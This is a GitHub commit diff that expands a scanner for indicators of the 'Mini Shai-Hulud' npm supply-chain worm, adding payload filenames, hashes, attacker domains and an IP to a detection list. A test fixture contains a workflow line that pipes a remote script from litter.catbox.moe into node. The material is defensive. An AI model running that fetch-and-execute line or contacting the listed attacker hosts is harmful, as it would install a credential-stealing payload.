Expand Mini Shai-Hulud IOC coverage (#1921)

This commit is contained in:
Affaan Mustafa
2026-05-15 03:20:10 -04:00
committed by GitHub
parent 4774946db5
commit f04702bdac
5 changed files with 71 additions and 17 deletions

View File

@@ -49,13 +49,13 @@ ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable la
<tr> <tr>
<td width="25%" align="center"> <td width="25%" align="center">
<a href="https://ecc.tools/pricing"> <a href="https://ecc.tools/pricing">
<strong>💼 ECC Pro</strong><br /> <strong> ECC Pro</strong><br />
<sub>Private repos · GitHub App · $19/seat/mo</sub> <sub>Private repos · GitHub App · $19/seat/mo</sub>
</a> </a>
</td> </td>
<td width="25%" align="center"> <td width="25%" align="center">
<a href="https://github.com/sponsors/affaan-m"> <a href="https://github.com/sponsors/affaan-m">
<strong>❤️ Sponsor</strong><br /> <strong> Sponsor</strong><br />
<sub>Fund the OSS · From $5/mo</sub> <sub>Fund the OSS · From $5/mo</sub>
</a> </a>
</td> </td>
@@ -68,7 +68,7 @@ ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable la
</td> </td>
<td width="25%" align="center"> <td width="25%" align="center">
<a href="https://github.com/apps/ecc-tools"> <a href="https://github.com/apps/ecc-tools">
<strong>🤖 GitHub App</strong><br /> <strong> GitHub App</strong><br />
<sub>Install · PR audits · Free tier</sub> <sub>Install · PR audits · Free tier</sub>
</a> </a>
</td> </td>

View File

@@ -2,11 +2,11 @@
Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week. Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week.
## 🚀 Enterprise Sponsors — $2,500/mo ## Enterprise Sponsors — $2,500/mo
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.* *Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.*
## 🏢 Business Sponsors — $500/mo ## Business Sponsors — $500/mo
| Sponsor | Logo | Since | | Sponsor | Logo | Since |
|---------|------|-------| |---------|------|-------|
@@ -14,7 +14,7 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
*[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.* *[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.*
## 👥 Team Sponsors — $200/mo ## Team Sponsors — $200/mo
| Sponsor | Since | | Sponsor | Since |
|---------|-------| |---------|-------|
@@ -22,11 +22,11 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
*[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.* *[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.*
## Pro Sponsors — $50/mo ## Pro Sponsors — $50/mo
*[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.* *[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.*
## 🛠️ Builder Sponsors — $25/mo ## Builder Sponsors — $25/mo
- @jasonwu513 (grandfathered at $10) - @jasonwu513 (grandfathered at $10)
- @1anter (grandfathered at $10) - @1anter (grandfathered at $10)
@@ -35,7 +35,7 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
*[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.* *[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.*
## Supporters — $5/mo ## Supporters — $5/mo
*[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.* *[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.*
@@ -45,12 +45,12 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
| Tier | Monthly | Perks | | Tier | Monthly | Perks |
|------|--------:|-------| |------|--------:|-------|
| Supporter | $5 | Sponsor badge on profile, thank-you in release notes | | Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
| 🛠️ Builder | $25 | Above + name in SPONSORS.md + private monthly progress note | | Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote | | Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
| 👥 Team | $200 | Above + small org logo in README + 5 ECC Pro seats | | Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
| 🏢 Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access | | Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
| 🚀 Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel | | Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m) [**Become a Sponsor →**](https://github.com/sponsors/affaan-m)

View File

@@ -29,6 +29,12 @@ credentials:
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
persistence hooks before rotating a stolen GitHub token. persistence hooks before rotating a stolen GitHub token.
- The scanner also watches for late-reporting markers: `router_init.js`
SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js`
SHA-256 prefix/suffix `2ec78d55...6be27fc96`,
`opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`,
Session protocol strings, `claude@users.noreply.github.com` dead-drop
commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`.
- The attack chain combined `pull_request_target`, GitHub Actions cache - The attack chain combined `pull_request_target`, GitHub Actions cache
poisoning across a fork/base trust boundary, and OIDC token extraction from a poisoning across a fork/base trust boundary, and OIDC token extraction from a
GitHub Actions runner. GitHub Actions runner.

View File

@@ -212,10 +212,20 @@ const MALICIOUS_PACKAGE_VERSIONS = {
const CRITICAL_TEXT_INDICATORS = [ const CRITICAL_TEXT_INDICATORS = [
'@tanstack/setup', '@tanstack/setup',
'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c', [
'github:tanstack/router#79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join(''),
[
'79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join(''),
'router_init.js', 'router_init.js',
'router_runtime.js', 'router_runtime.js',
'tanstack_runner.js', 'tanstack_runner.js',
'opensearch_init.js',
'vite_setup.mjs',
'bun run tanstack_runner.js',
'execution.js', 'execution.js',
'transformers.pyz', 'transformers.pyz',
'pgmonitor.py', 'pgmonitor.py',
@@ -223,15 +233,34 @@ const CRITICAL_TEXT_INDICATORS = [
'gh-token-monitor', 'gh-token-monitor',
'com.user.gh-token-monitor', 'com.user.gh-token-monitor',
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner', 'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
[
'ab4fcadaec49c032',
'78063dd269ea5ee',
'f82d24f2124a8e15',
'd7b90f2fa8601266c',
].join(''),
[
'2ec78d556d696e20',
'8927cc503d48e4b5e',
'b56b31abc2870c2e',
'd2e98d6be27fc96',
].join(''),
'svksjrhjkcejg',
'filev2.getsession.org', 'filev2.getsession.org',
'seed1.getsession.org', 'seed1.getsession.org',
'seed2.getsession.org', 'seed2.getsession.org',
'seed3.getsession.org', 'seed3.getsession.org',
'signalservice',
'snode',
'git-tanstack.com', 'git-tanstack.com',
'litter.catbox.moe/h8nc9u.js', 'litter.catbox.moe/h8nc9u.js',
'litter.catbox.moe/7rrc6l.mjs', 'litter.catbox.moe/7rrc6l.mjs',
'83.142.209.194', '83.142.209.194',
'api.masscan.cloud', 'api.masscan.cloud',
'claude@users.noreply.github.com',
'dependabout/',
'OhNoWhatsGoingOnWithGitHub',
'voicproducoes',
'A Mini Shai-Hulud has Appeared', 'A Mini Shai-Hulud has Appeared',
'Shai-Hulud: Here We Go Again', 'Shai-Hulud: Here We Go Again',
'PUSH UR T3MPRR', 'PUSH UR T3MPRR',
@@ -268,6 +297,8 @@ const PAYLOAD_FILENAMES = new Set([
'router_init.js', 'router_init.js',
'router_runtime.js', 'router_runtime.js',
'tanstack_runner.js', 'tanstack_runner.js',
'opensearch_init.js',
'vite_setup.mjs',
'execution.js', 'execution.js',
'transformers.pyz', 'transformers.pyz',
'pgmonitor.py', 'pgmonitor.py',

View File

@@ -11,6 +11,10 @@ const { spawnSync } = require('child_process');
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js'); const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
const { scanSupplyChainIocs } = require(SCRIPT_PATH); const { scanSupplyChainIocs } = require(SCRIPT_PATH);
const TANSTACK_SETUP_DEPENDENCY = [
'github:tanstack/router#79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join('');
function test(name, fn) { function test(name, fn) {
try { try {
@@ -121,7 +125,7 @@ function run() {
packages: { packages: {
'node_modules/@tanstack/history': { 'node_modules/@tanstack/history': {
optionalDependencies: { optionalDependencies: {
'@tanstack/setup': 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c', '@tanstack/setup': TANSTACK_SETUP_DEPENDENCY,
}, },
}, },
}, },
@@ -185,6 +189,11 @@ function run() {
' runs-on: ubuntu-latest', ' runs-on: ubuntu-latest',
' steps:', ' steps:',
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node', ' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
' - run: echo svksjrhjkcejg',
' - run: echo OhNoWhatsGoingOnWithGitHub',
' - run: echo claude@users.noreply.github.com',
' - run: echo dependabout/router/setup-formatter',
' - run: echo signalservice snode',
].join('\n'), ].join('\n'),
}, rootDir => { }, rootDir => {
const result = scanSupplyChainIocs({ rootDir }); const result = scanSupplyChainIocs({ rootDir });
@@ -192,6 +201,12 @@ function run() {
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner')); assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
assert.ok(indicators.includes('codeql_analysis.yml')); assert.ok(indicators.includes('codeql_analysis.yml'));
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js')); assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
assert.ok(indicators.includes('svksjrhjkcejg'));
assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub'));
assert.ok(indicators.includes('claude@users.noreply.github.com'));
assert.ok(indicators.includes('dependabout/'));
assert.ok(indicators.includes('signalservice'));
assert.ok(indicators.includes('snode'));
}); });
})) passed++; else failed++; })) passed++; else failed++;
@@ -211,9 +226,11 @@ function run() {
if (test('rejects installed payload filenames in node_modules', () => { if (test('rejects installed payload filenames in node_modules', () => {
withFixture({ withFixture({
'node_modules/@tanstack/react-router/router_init.js': '/* payload */', 'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */',
}, rootDir => { }, rootDir => {
const result = scanSupplyChainIocs({ rootDir }); const result = scanSupplyChainIocs({ rootDir });
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js')); assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js'));
}); });
})) passed++; else failed++; })) passed++; else failed++;